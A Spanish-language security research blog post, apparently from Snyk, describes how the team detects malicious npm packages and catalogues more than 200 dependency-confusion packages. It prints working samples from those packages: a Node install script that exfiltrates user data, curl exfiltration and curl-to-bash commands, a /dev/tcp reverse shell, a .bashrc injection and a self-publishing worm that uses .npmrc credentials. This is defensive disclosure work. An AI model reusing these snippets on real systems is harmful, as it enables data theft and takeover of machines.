Skip to main content

Snyk detecta más de 200 paquetes npm maliciosos, incluidos ataques de confusión de dependencias con Cobalt Strike

Escrito por
Headshot of Kirill Efimov

Kirill Efimov

feature cobalt strike

24 de mayo de 2022

0 minutos de lectura

Snyk descubrió recientemente más de 200 paquetes maliciosos en el registro de npm. Si bien reconocemos que la fatiga por vulnerabilidades es un problema para los desarrolladores, este artículo no trata sobre los casos típicos de typosquatting o paquetes maliciosos aleatorios. Aquí compartimos los hallazgos de ataques dirigidos a empresas y corporaciones que Snyk pudo detectar, junto con la información obtenida.

En esta publicación, en lugar de explicar qué es la confusión de dependencias y por qué tiene un impacto enorme en el ecosistema de JavaScript (y, en particular, en el registro de npm), nos centraremos en el enfoque que utiliza Snyk y en los paquetes maliciosos que descubrimos recientemente. Si necesitas una introducción a la confusión de dependencias y los riesgos que presenta, te recomendamos leer el artículo de Alex Birsan Confusión de dependencias: cómo hackeé Apple, Microsoft y docenas de otras empresas y la propia divulgación de Snyk sobre una simulación de ataque dirigido a dependencias que detectamos en plena acción.

Además, queremos hablar sobre cómo los investigadores de programas de recompensas por errores y los equipos rojos contribuyen a contaminar el ecosistema de npm, generar informes de seguridad falsos y empeorar aún más la situación que existía antes del surgimiento de los vectores de ataque de confusión de dependencias.

En los últimos tiempos, muchas empresas se han centrado en la seguridad de la cadena de suministro, y una parte importante de ella es la detección de paquetes maliciosos. No cabe duda de que npm recibió gran parte de la atención. Internamente, tuvimos muchas conversaciones sobre npm: ¿podemos hacerlo mejor que otros proveedores que publican con frecuencia información sobre paquetes maliciosos de bajo impacto? Decidimos intentarlo e implementar un enfoque sencillo para ver cuántos paquetes maliciosos podíamos detectar de esta manera. Después pasamos mucho tiempo ajustando el enfoque y, finalmente, cuando agregamos el paquete malicioso número 100 a la Snyk Vulnerability Database, supimos que teníamos que escribir sobre ello. Pero primero, veamos cómo se pueden encontrar paquetes maliciosos en un registro como npm.

Cómo encontrar paquetes maliciosos en el registro de npm

En primer lugar, tuvimos que definir el alcance y los objetivos de esta investigación de seguridad:

  1. Nos centramos únicamente en la lógica maliciosa que se ejecuta durante la instalación. Es decir, solo en lo que ocurre durante npm install. Los scripts maliciosos que se ejecutan durante la ejecución están fuera del alcance y se tratarán en un estudio de caso futuro.

  2. La cantidad de señales de falsos positivos debía ser manejable. Definimos esto como la posibilidad de que un analista de seguridad revise todas las alertas en una hora de trabajo o menos.

  3. El recolector debía ser modular. Ya había evolucionado varias veces y sigue haciéndolo. Se agregaron algunas técnicas de detección y se eliminaron otras debido al punto 2.

  4. Como enfoque inicial, decidimos usar únicamente análisis estáticos. Abordaremos la parte dinámica en otra publicación.

Es importante definir qué consideramos comportamiento malicioso. Por ejemplo, abrir una shell inversa o modificar archivos fuera de la carpeta del proyecto son actividades maliciosas.

Pero también creemos que, si un paquete exfiltra información de identificación personal (o cualquier dato que pueda contener información de identificación personal), puede considerarse malicioso. Por ejemplo:

  • Un paquete que envía el GUID de la máquina = no es malicioso– El GUID no contiene datos personales del usuario y suele utilizarse para contar el número de instalaciones únicas de un paquete.

  • Un paquete que envía la ruta de la carpeta de la aplicación = malicioso – Las rutas de las carpetas de las aplicaciones suelen incluir el nombre del usuario actual (que puede ser su nombre y apellido reales).

La estructura del sistema subyacente consta de:

  1. Lógica de recopilación para obtener información sobre los paquetes nuevos y modificados.

  2. Lógica de etiquetado para proporcionar metadatos útiles a los analistas de seguridad.

  3. Lógica de clasificación para priorizar los indicios de paquetes maliciosos según el paso anterior.

El sistema de recopilación genera archivos YAML (que sirven como datos para los indicios), que luego revisa un analista de seguridad y marca con una de estas tres opciones:

  • Bueno – Paquetes que no generan sospechas. Los usamos como ejemplo de comportamiento no malicioso.

  • Malo – Paquetes maliciosos.

  • Ignorado – Paquetes que probablemente no son maliciosos, pero cuyo comportamiento durante la instalación es demasiado común o complejo como para usarlo como patrón en casos futuros.

Reconocimiento del registro de npm para recopilar información sobre los paquetes

De acuerdo con el primer requisito que establecimos, debemos procesar todos los paquetes nuevos y actualizados que tengan algún script de instalación: preinstall, install o postinstall.

El registro de npm usa CouchDB internamente. Para facilitar el acceso público, exponen CouchDB a través de replicate.npmjs.com. Por eso, recopilar los datos es tan sencillo como consultar el endpoint _changes en orden ascendente. En concreto,

https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

te permite obtener una lista de los paquetes actualizados y creados a partir del ID del evento que recibimos en la ejecución anterior del recolector.

Además, usamos los endpoints https://registry.npmjs.org/ para recuperar los metadatos de cada paquete de la lista y https://api.npmjs.org/downloads para obtener la cantidad de descargas de un paquete.

La única parte complicada de la lógica de recopilación de datos es que queremos extraer los scripts de instalación de un archivo tarball de un paquete. El tarball promedio de un paquete npm pesa menos de un megabyte, pero a veces puede ser enorme, incluso de cientos de megabytes. Por suerte, los archivos tar están estructurados de una manera que nos permite implementar un enfoque de streaming. Simplemente descargamos el archivo del paquete hasta obtener el archivo que buscamos y luego cerramos la conexión, lo que ahorra mucho tiempo y tráfico de red. Para ello usamos el paquete npm tar-stream. Esta es una buena oportunidad para agradecer a Mathias Buus, quien ha contribuido enormemente al desarrollo de JavaScript y Node.js y mantiene muchos paquetes npm de código abierto que ayudan a los desarrolladores en su trabajo diario.

Etiquetado de paquetes maliciosos en el registro de npm

En este punto tenemos todos los metadatos del paquete: historial de versiones, nombre del mantenedor, contenido de los scripts de instalación, dependencias, etc. Podemos empezar a aplicar reglas. A continuación, mostraré algunas de las reglas que, según mi experiencia, resultaron más eficaces:

  • bigVersion – Si la versión principal de un paquete es igual o superior a 90. En un ataque de confusión de dependencias, el paquete malicioso que se descargue debe tener una versión superior a la original. Como veremos más adelante, los paquetes maliciosos suelen tener versiones como 99.99.99.

  • yearNoUpdates – El paquete se actualiza por primera vez en más de un año. Esta es una señal clave para determinar si un paquete no recibió mantenimiento durante un tiempo y luego fue comprometido por un actor de amenazas.

  • noGHTagLastVersion – La nueva versión de un paquete no tiene una etiqueta en el repositorio de GitHub correspondiente (aunque la versión anterior sí la tenía). Esto sirve para los casos en que se comprometió la cuenta de npm de un usuario, pero no su cuenta de GitHub.

  • isSuspiciousFile – Tenemos un conjunto de expresiones regulares para detectar scripts de instalación potencialmente maliciosos. Permiten detectar técnicas de ofuscación comunes, el uso de dominios como canarytokens.com o ngrok.io, indicios de direcciones IP, entre otros.

  • isSuspiciousScript – Un conjunto de expresiones regulares para detectar scripts potencialmente maliciosos en el archivo package.json. Por ejemplo, descubrimos que “postinstall: “node .” se usa con frecuencia en paquetes maliciosos.

El sistema subyacente implementa más etiquetas, pero la lista anterior permite hacerse una buena idea de cómo funciona la lógica del recolector.

Cómo clasificar los datos de los paquetes npm

Nos gustaría automatizar aún más el proceso en lugar de depender de la revisión manual de los analistas de seguridad. Si un script de instalación ya se clasificó como bueno o malo, clasificamos automáticamente los casos nuevos en consecuencia. Esto funciona principalmente para casos de comportamiento no malicioso, como “postinstall”: “webpack” o “postinstall”: “echo thanks for using please donate”, y ayuda a reducir el ruido.

Además, priorizamos ciertas etiquetas para revisarlas antes que otras, porque generan una mayor tasa de verdaderos positivos. En concreto, isSuspiciousFile y isSuspiciousScript tienen la prioridad más alta.

Análisis manual de seguridad

El último paso del proceso de detección es el análisis manual. También consta de varias etapas:

  1. Verificar las alertas clasificadas automáticamente y las de alta prioridad, ya que es más probable que sean maliciosas. Revisar una por una las alertas sin clasificar con el objetivo de detectar nuevas reglas para casos maliciosos o no maliciosos.

  2. Actualizar la lógica del recolector según el punto 2.

  3. Agregar cada paquete malicioso a Snyk Vulnerability Database.

  4. En algunos casos, como gxm-reference-web-auth-server, si un paquete parece tener una lógica maliciosa inusual, un analista dedica más tiempo a analizarlo en profundidad y compartir sus hallazgos con la comunidad y los usuarios de Snyk.

Este flujo nos permite mejorar el recolector todos los días y automatizar el proceso.

¿Qué paquetes maliciosos de npm pudimos detectar?

Hasta la fecha, el sistema ha detectado más de 200 paquetes npm con resultados que son verdaderos positivos sin ninguna duda y que también representan una amenaza viable de ataques de confusión de dependencias. Queremos categorizar estos hallazgos y mostrar los distintos comportamientos y conceptos empleados por los atacantes.

Paquetes maliciosos que exfiltran datos

Uno de los tipos más comunes de paquetes maliciosos es la exfiltración de datos a través de solicitudes HTTP o DNS. A menudo se trata de una versión modificada de un script original copiado y pegado, que se usó en la investigación sobre la confusión de dependencias. A veces incluyen comentarios como «este paquete se usa con fines de investigación» o «no se recuperan datos confidenciales», pero no te dejes engañar: obtienen información de identificación personal y la envían por la red, algo que nunca debería ocurrir.

Un ejemplo típico de este tipo de paquete, según los hallazgos de Snyk:

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "<malicious host>", 
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Hemos visto intentos de exfiltrar la siguiente información (ordenada de la relativamente inofensiva a la más peligrosa):

  • Nombre del usuario actual

  • Ruta del directorio de inicio

  • Ruta del directorio de la aplicación

  • Lista de archivos en distintas carpetas, como el directorio de inicio o el directorio de trabajo de la aplicación

  • Resultado del comando del sistema ifconfig

  • Archivo package.json de la aplicación

  • Variables de entorno

  • El archivo .npmrc

Una adición interesante a este grupo de paquetes maliciosos son aquellos que tienen un script install como npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Está claro que exfiltra la ruta del directorio de caché de npm (que suele estar en la carpeta de inicio del usuario actual), pero además instala un paquete desde una fuente externa. Según nuestra experiencia, este paquete externo siempre es un paquete señuelo sin lógica ni archivos, aunque tal vez haya condiciones regionales u otras en el servidor o, después de cierto tiempo, se convierta en un cryptominer o un troyano.

En algunos casos, vimos indicios de scripts de bash como el siguiente:

DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
curl "https://<malicious host>/?q=$DETAILS"

El ejemplo anterior exfiltra información sobre la dirección IP pública, el nombre de host y el nombre de usuario.

Paquetes maliciosos que crean una shell inversa

Otro tipo común de paquetes maliciosos intenta crear una shell inversa, lo que significa que la máquina objetivo se conecta a un servidor remoto controlado por un atacante y le permite controlarla de forma remota. Pueden ser tan simples como el siguiente ejemplo:

/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

O bien, pueden tener implementaciones más complejas que usan net.Socket u otros métodos de conexión.

El principal desafío de esta categoría es que, aunque la lógica parece simple, el comportamiento malicioso real está completamente oculto detrás del servidor del hacker. Dicho esto, es posible ver el impacto: un hacker puede tomar el control total de la computadora donde está instalado el paquete malicioso.

Decidimos ejecutar uno de estos paquetes en un entorno aislado y estos fueron los comandos que registramos:

  1. nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& – descarga y ejecuta un script desde el servidor malicioso.

  2. El script descargado del servidor malicioso se agregó al directorio /tmp y comenzó a consultarse a sí mismo cada 10 segundos para esperar actualizaciones del atacante remoto.

  3. Después de cierto tiempo, descargó un archivo binario que, según VirusTotal, es un troyano de Cobalt Strike.

Panel de análisis de seguridad que muestra que 15 de 63 proveedores marcan un archivo ZIP como malicioso, con varias detecciones de Cobalt Strike.

El uso de troyanos en paquetes npm maliciosos

En esta categoría, encontramos varios paquetes que instalan y ejecutan distintos agentes de comando y control. Hablar más sobre ellos queda fuera del alcance de este artículo, así que te recomendamos leer nuestro artículo reciente sobre la ingeniería inversa detallada del paquete gxm-reference-web-auth-server. Ese artículo expone los hallazgos de una investigación ética de red team realizada por hackers éticos, y también es un buen ejemplo de lo que puede haber dentro de los paquetes npm de esta categoría de ataques maliciosos de confusión de dependencias. Además, es un buen ejemplo de cómo detectar a un equipo de red team en acción.

En otro caso interesante, revisamos las llamadas al sistema desde el entorno aislado y una nos llamó la atención: iniciaba un proceso desacoplado y ejecutaba una llamada de espera durante 30 minutos. Solo entonces comenzaba su actividad maliciosa.

Cómo encontrar bromas y protestas en paquetes npm

En marzo publicamos un artículo sobre paquetes npm de tipo protestware. Pero, además del protestware, observamos varios intentos de abrir videos de YouTube o NSFW y otros sitios web en el navegador, o incluso de agregarlo como comando al archivo .bashrc.

El código de ejemplo puede ser tan simple como open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> en el script postinstall o shell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc) en un archivo JavaScript que se ejecuta durante la instalación.

Otro ejemplo potencialmente dañino de un paquete malicioso que detectamos durante esta investigación es un paquete que comprueba si tienes un archivo .npmrc y, si es así, ejecuta npm publish para crear su propia copia en nombre de tu usuario de npm. Como puedes ver, actúa como un gusano y, en ciertas circunstancias, puede convertirse en una amenaza real.

const fs = require('fs')
const faker = require('faker')
const child_process = require('child_process')
const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
faker.company.bsNoun()).toLowerCase()
let hasNpmRc = false
const read = (p) => {
  return fs.readFileSync(p).toString()
}
try {
  const npmrcFile = read(process.env.HOME + '/.npmrc')
  hasNpmRc = true
} catch(err) {
}
if (hasNpmRc) {
  console.log('Publishing new version of myself')
  console.log('My new name', pkgName)
  const pkgPath = __dirname + '/package.json'
  const pkgJSON = JSON.parse(read(pkgPath))
  pkgJSON.name = pkgName
  fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
  child_process.exec('npm publish')
  console.log('DONE')
}

Conclusiones y recomendaciones

En Snyk, todos los días trabajamos para que los ecosistemas de software de código abierto sean más seguros. Hoy compartimos algunas variantes de paquetes npm maliciosos, pero esta lista no es exhaustiva. Nuestra investigación mostró que el ecosistema npm se usa activamente para llevar a cabo diversos ataques a la cadena de suministro. Te recomendamos usar herramientas como Snyk para protegerte como desarrollador o mantenedor, así como para proteger tus aplicaciones y proyectos.

Si buscas vulnerabilidades a cambio de recompensas o formas parte de un equipo de red team y necesitas publicar un paquete npm para realizar actividades de reconocimiento, te recomendamos seguir los términos de servicio y las pautas legales de npm. En cualquier caso, no extraigas información de identificación personal (PII) y define explícitamente el propósito del paquete en los comentarios del código fuente o en la descripción del paquete. Observamos un par de paquetes de investigación legítimos que enviaban identificadores únicos de máquina, como node-machine-id.

Empieza con los desafíos de Capture the Flag

Aprende a resolver desafíos de captura la bandera con nuestro taller virtual introductorio a pedido.

Resumen de los paquetes afectados al momento de la publicación

A modo de resumen, queremos publicar la lista de paquetes que pudimos detectar. Algunos, o quizás la mayoría, ya se eliminaron del registro de npm, pero otros todavía estaban disponibles cuando publicamos esta investigación.

git-en-boite-core

@seller-ui/products

git-en-boite-app

insomnia-plugin-simple-hmac-auth

selenium-applitools

api-extractor-test-01

@tilliwilli/npm-lifecycles

vfdp-ui-framework

klook-node-framework

next-plugin-normal

klook-node-framework-affiliate

@iwcp/nebula-ui

klook-tetris-server

react-dom-router-old

klook-ui

react-dom-router-compatibility

logquery

node-hawk-search

@klooks/klook-node-framework

ual-content-page

schema-render

npm_test_nothing

tetris-scripts

lbc-git

klook-node-framework-language

angieslist-composed-components

klook-node-framework-country

angieslist-gulp-build-tasks

klook-node-framework-currency

onepassword_events_api

klook-node-framework-device

on-running-script-context

klook-node-framework-logger

okbirthday2015

klook-node-framework-site

oidc-frontend

klook-node-framework-experiment

nucleus-wallet

klook-node-framework-cache

videojs-vtt

executables.handler

@commercialsalesandmarketing/contact-search

tracer.node

cap-common-pages

state.aggregator

coldstone-helpers

rce-techroom

rainbow-bridge-testing

acronis-ui-kit

npm-exec-noperm

activity-iframe-sdk

npmbulabula

angieslist-visitor-app-common

nozbedesktop

uitk-react-rating

nodejs-email

ldtzstxwzpntxqn

plugin-welcome

gxm-reference-web-auth-server

polymer-shim-styles

lznfjbhurpjsqmr

lexical-website-new

npm_protect_pkg

paper-toolbar

com.unity.xr.oculus

paytm-kafka-rest

katt-util

phoenix.site

workspace-hoist-all

assets-common

qjwt

bolt-styles

bigid-permissions

phub-dl

@uc-maps/api.react

api-extractor-test-01

@uc-maps/test

adroit-websdk-client

@uc-maps/test1

f0-utils

@uc-maps/boundaries-core.react

@uc-maps/boundaries-core.react

@uc-maps/geospatial

elysium-ui

@uc-maps/layer-select.react

portail-web

@uc-maps/maps.react

postinstall-dummy

@uc-maps/parcel-shapes

threatresponse

wf_ajax

pratikyadavh2

wf_apn

cap-products

wf_storage

promoaline

wf_scheduler

promohline

bigid-filter-recursive-parser

promofline

bigid-query-object-serialization

promoimmo

yo-code-dependencies-versions

promohlineupselling

abchdefntofknacuifnt

promotemplate

generator-code-dependencies-versions

ptmproc

@visiology-public-utilities/language-utils

quick-app-guide

finco

razer-xdk

azure-linux-tools

epic-games-self-service-portal

com.unity.xr.oculus

pg-ng-popover

@uieng/messaging-api

pco_api

jptest1

lyft-avidl

pegjs-override-action

pegjs-override-action

jinghuan-jsb

stripe-connect-rocketrides

kntl-digital3

flake8-holvi

@sorare-marketplace/components

volgactf

fc-gotcha

mb-blog

com.unity.searcher

orangeonion.buildtools

sixt

gatsby-plugin-added-by-parent-theme

r3corda

gulp-browserify-thin

got-hacked

eslint-plugin-seller-ui-eslint-plugin

qweasdzxc

@seller-ui/settings